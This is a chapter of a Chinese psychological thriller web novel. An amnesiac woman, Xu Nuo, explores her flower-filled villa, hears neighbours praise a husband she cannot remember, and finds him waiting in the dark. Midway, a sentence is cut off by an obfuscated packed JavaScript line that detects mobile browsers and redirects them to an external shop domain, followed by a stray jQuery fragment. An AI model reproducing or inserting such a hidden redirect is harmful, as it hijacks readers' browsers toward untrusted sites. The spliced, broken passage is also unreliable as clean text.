许诺从黑暗中醒来。
她睁开眼，入目是死寂的白。
天花板很干净，上面浮现出一行字，浅红色的字：
【你失忆了。】
“？”
许诺坐起身，发现那行字并不是印刷在天花板上的，它随着许诺的视线在移动，缓缓滑向墙面。
字体逐渐变淡，不过两秒，它消失了。
“我……失忆了？”
许诺皱了下眉头，头有点晕，她努力回想，试图在大脑的荒原中搜寻一点记忆碎片。
许诺。
她知道自己叫许诺。
这两个字像是刻在了她的身体里，谁也无法抹去。
房间很昏暗，窗帘是紧闭的。
许诺闻到了花香，空气中弥漫着过盛的芬芳。
她看到房间各个桌面上都摆满了鲜花，各样的品种都有，它们颜色艳丽到几乎失真，红得发暗，紫得发亮，不同颜色的花瓣层层叠叠，色彩浓郁而沉重。
她起床，拉开窗帘，窗外的天气阴沉，乌云密闭，小雨淅淅沥沥。
许诺在床头柜上找到了手机。
屏幕上显示，现在是下午三点半。
明明还是白天，这天色却暗得像夜里。
喉咙里是干涩的。
许诺习惯性先进浴室洗漱。
浴室面积很大，灯光明亮，一整面镜子嵌在白色瓷砖上，边缘与瓷砖严丝合缝。
站在镜子前，许诺看清楚了自己的模样。
苍白的皮肤，长而微卷的头发，以及……
视线下移几寸。
她的颈侧都是淤痕。
青色的、暗粉色的，层层叠叠，压在皮肤上。
许诺用指尖碰了碰。
并不疼。
看着像是亲密后而留下的吻痕。
……还有一些咬痕。
谁干的？
她乌黑的眸子中滑过一丝疑惑。
家里难道还有其他人？
怀着这样的疑问，许诺走出卧室。
卧室在二楼，走廊尽头就是楼梯。
这是一栋别墅。
它崭新、宽敞，却又异常空旷。
一楼家具不多，摆放得有些疏离，因此留下了大量空白，而这些空白又被鲜花填满，不止是卧室，家里各个花瓶内都插满了鲜花，花色浓艳，气味甜腻。
客厅里铺着厚实的羊毛地毯，许诺光脚踩上去，触感柔软又舒适。
她喜欢这地毯。
许诺到处走了走，家里没人，好几个房间都是紧锁着的。
这是一栋新房子吗？
“也许我是刚搬进来的。”
逛了一圈后，许诺饿了。
饥饿在持续蚕食着她。
她走向厨房，拉开冰箱门，发现冷藏区空无一物，连个鸡蛋都没有。
冷冻区倒是有很多肉。
它们被整齐叠放在一起，一块挨着一块，冻肉填满了每一个格子。
“……没有蔬菜。”
许诺记得好像有谁叮嘱过自己，一日三餐要考虑到营养均衡，蔬菜是必需品。
话说。
许诺忽然意识到。
这个冰箱是不是太大了点？
它几乎占据了厨房三分之一的面积，比许诺还要高，她站在冷冻区，冷气贴着她的皮肤蔓延，缓慢而彻底地裹住了她。
许诺觉得，要是一个人被关在里面，死在了冰箱里，也许很久很久都不会有人发现。
“……我为什么会生出这种可怕的念头？”
许诺关上冰箱，在一旁发现了一张便利贴，上面详细列着需要购买的食材和一些日常用品。
条目清晰，字迹熟悉。
她辨认了一会儿，得出结论，那是她自己的字。
许诺捏着那张便利贴，心想，那就去市中心采购吧。
来到车库的时候，许诺看到里面居然停着一辆跑车。
车身线条低伏而流畅，外形利落，一看就知道价格不菲。
她摁了下车钥匙，车门自动缓缓向外开。
“嘿！小甜心！”
刚走到车库，许诺就听到有人隔着篱笆栅栏叫她。
是隔壁的邻居，艾琳太太。
艾琳太太笑着朝她挥手：“这是要去哪？前几天多亏你的帮忙，我家草坪上那些顽固的杂草才总算被清理干净了。你说的一点儿都没错，我那台铲草机是该退休了，它的年纪和我一样，都老掉牙啦。”
帮忙除草？
这个词在许诺脑中空转了一下，没能勾出任何对应的画面。
她只得微笑，维持着基本的礼貌，点点头。
艾琳太太又从栅栏那头递过来一个篮子。
“甜心，这是给你的谢礼。”
许诺接过篮子。
里面是一些水果和一包巧克力燕麦曲奇。这曲奇明显是手工做的，它们的形状大小各不相同，边缘处歪歪扭扭，表面还残留着被挤压过的痕迹。
“谢谢。”
这次许诺的笑容真诚多了。
艾琳太太的性格很热情，甚至过分热情了。
送完礼，她并不打算就此结束，而是倚在栅栏上，浑浊的眼睛顺着许诺家的院子扫了一圈，语气中是毫不掩饰地羡慕。
“甜心，你家的草坪打理得真是干净，连一根杂草都看不到，有个贤惠的丈夫可真好啊。”
她擦去嘴巴上残留的饼干屑，继续道：“明明那么有钱，又有名气，居然还会亲自做这种琐碎的家务事，真是难得。甜心，不得不说，你的眼光还真不赖。”
艾琳太太捂住嘴，发出几声嗬嗬的笑。
“我在这平平无奇的街区住了大半辈子，没想到晚年还能和名人成为邻居呢，这可都是托你的福呀。”
一长串话语几乎没有停顿地从艾琳太太嘴中流淌出来。
许诺什么都没听进去，她只是盯着艾琳太太，分神地想。
艾琳太太的嘴巴好薄，说话时不停张合，像是某种不停啄食的鸟类。
整个对话持续了许久，在这个过程中，许诺始终维持着礼貌微笑，机械式地点头。
终于，艾琳太太像是意识到了什么，猛拍了下额头。
“哎呀，你瞧我，这话痨的毛病又犯了。”
“不耽误你了，小甜心，你快去忙你的事吧。老婆子我还得去找乔治呢，最近好几天都没看到它，也不知道跑去哪玩了。”
乔治？
“艾琳太太，你说的乔治……是它吗？”
许诺抬手，指向街道不远处。
一条黑狗正趴在那里。
“哎呀，是的！”艾琳太太眯起眼，“还是你们年轻人眼神好啊。”
“乔治——快回来——”
黑狗穿过马路，飞快地朝这边跑来，嘴里叼着什么东西。
它叼着的是一个兔子。
兔子体型硕大，俨然已经死透了。
乔治的犬齿撕裂了兔子的胸膛，内脏被粗暴地翻了出来，肠子随着奔跑被拖拽在地面上，留下一条脏污的痕迹。
血和泥混在一起。
十分恶心。
许诺胃部一阵抽紧，她什么也没说，迅速坐进车内关上车门。
隔着玻璃，仍能听到艾琳太太训斥乔治的声音。
许诺把果篮放到一旁，刚要按下启动键的时候，她停顿了下。
艾琳太太的话在她脑中慢慢回放，她从那一长窜絮叨里，抓住了一个词。
“丈、夫？”
我，有，丈夫？
许诺又摸了摸自己的脖子。
咬痕处传来微微的刺痛感。
……
许诺没想到自己住的地方有这么偏僻。
即使是跑车，也足足开了两小时才到市中心。
导航显示，她所住的区域名为暮谷，隶属于灰林市。
它不算繁华，是一座小城市，道路规划得很整齐，街道宽敞，路面干净，但却缺乏热闹。
这里的天气似乎总是阴沉沉的，厚重的云层始终压着这座城市，空气中总带着一股挥之不去的潮湿冷意。
从车上下来的时候，天已经彻底黑了。
初冬天黑得早，街灯亮起，在人行道上投下冷白色的光晕。
寒风卷起落叶，许诺裹紧大衣，跟着导航，走进常光顾的商超。
这是一家主打健康、售卖有机食品的小型商超。室内温暖，灯光明亮而柔和，货架是原木色的，又用了低调绿植点缀，给人的观感十分舒适。
自然，它售卖的商品价格也不菲。
许诺按照便利贴上的内容，将所需物品一一放入购物车内。
蔬菜一栏最后写的是胡萝卜。
许诺盯着那行字，迟疑了一瞬。
“呃……我真的需要这个吗？”
模糊的记忆里，胡萝卜总带有一股隐约的腥味。
对许诺来说，它是种不讨喜的蔬菜，但它很健康。胡萝卜素是人体不可或缺的营养成分之一。
就在她犹豫的时候，肩膀忽然被人轻拍了下。
“许诺！我就知道是你！”
叫住她的是一位年轻的短发女士。
她穿着剪裁合体的羊毛外套，身形利落，语气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526752|203545||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
热络。
“真是太感谢你的帮忙了，”女士说，“埃里克这段时间好多了，多亏了你丈夫。”
——又是丈夫？
许诺将胡萝卜丢入购物车内，胡萝卜与车内的玻璃瓶碰撞，发出一声清脆而空洞的声响。
我的丈夫是一位医生吗？
她正这样想着，侧过头时，那位女士的目光忽然停在了她的脖颈上，随即朝着许诺露出个暧昧的笑来。
“哎呀，新婚夫妇就是不一样，真甜蜜呀。”
“哪像我和埃里克，”女士耸耸肩，“因为他那些臭毛病，我们已经分房睡啦。”
“……”
许诺不知道该如何应对这样的调侃。
好在短发女士并未期待她做出什么有趣的回应，只是自顾自地继续说：“总算熬到周五了，我真讨厌上班。对了，许诺我跟你说，我已经请好了厨师，明晚来家里做饭。”
她朝着许诺眨了眨眼，“我们之前不是约好了吗，周六晚上一起吃个饭，要不是有你的关系，我们哪能约得上名医卡修斯呀。这顿饭说什么都得你，你可不许再推辞了，也正好给你们这对新婚夫妇庆祝一下嘛。”
女士的牙齿洁白，笑得很明朗。
许诺喜欢她的笑容。
“好了好了，”她看了眼时间，“这个点埃里克也快回家啦。”
临走前，女士朝着许诺欢快地挥了挥手。
“许诺，新婚快乐，明晚见！”
“明晚见。”
傍晚六点三十五分，许诺推着装得满满当当的购物车来到收银台。
收银员戴着眼镜，这家常超客人不多，她正在低头看书。听到动静，便合上书页，抬头露出职业笑容。
“晚上好，许诺女士。”
许诺是这里的常客，收银员清楚她的名字。
“晚上好。”
许诺却不记得对方的。
结账刷卡时，手机屏幕亮起，余额映入眼帘，成功让她挑了下眉。
好长一串数字啊……
如此庞大的金额，完全能够在市中心买房，为什么我偏偏要住在那么落魄的郊区呢？
这点许诺没能想明白。
从商超出来的时候，天已经彻底黑了，浓得像墨，连颗星子都没有。
从市中心折返郊区，车程要穿过一大片森林。夜色彻底落下后，林木在路旁连成一片阴影，树影被车灯切割，又迅速合拢。
四周太过寂静，引擎声显得格外突兀。
这种过于封闭的安静让许诺感到难以忍受，车子照常平稳行驶着，她的脑子却忽然闪过一个荒唐的念头。
有那么一瞬间，她想猛踩油门，冲向车道外，冲向那黑暗的陡崖里，去摔个粉身碎骨。
好在理智线及时拉住了她。
“……”
为了防止自己再生出这种危险的念头，许诺打开了车内新闻来转移注意力。
播报声从车载音响里传来，被过滤，被压缩，略显死板，过于机械。
“近期，灰林市及周边接连发生多起失踪案件。有专家指出，该案件与邻市曾发生的连环杀人案高度相似。”
“警方提醒各位市民，夜间尽量减少外出，注意安全，居家务必关好门窗。如发现异常，请及时报警。”
冷风从半开的车窗灌入，贴着许诺后颈掠过，令她打了个冷颤。
那些树影在风中摇曳，传来沙沙声，像是有什么东西在暗处窥视她。
“……”真恶心。
许诺关掉新闻，加快了车速。
回到家的时候，许诺已经累了，明明没做什么事，但身体处处都感觉到酸痛。
室内中央空调开得很足，她脱下大衣，随手丢在沙发上，光脚踩在地毯上，那温暖的触感让她感到放松了一些。
客厅没开灯，许诺也懒得再走几步特地去开。
她径直走向厨房，将食物一一摆入冰箱。
冷光映在她的面庞上，冰冷的气息侵入指尖，她要将每一件食物都分好类，要摆放得整整齐齐。
在将胡萝卜丢进牛皮纸盒里时，后颈处又一次被不知从何处钻来的凉风掠过，令她脊背发紧。
余光中，她仿佛看到身后有影子。
许诺猛地回头，看见了一个男人。
那是她的丈夫。
丈夫静静站在黑暗里，不知道站了多久。
“许诺，”
丈夫叫她的名字，声音低而平稳，质地悦耳但却带着凉意，像冬夜里的风，丝丝缕缕地缠绕过来，刺激着她的神经。
“你回来晚了。”
丈夫说。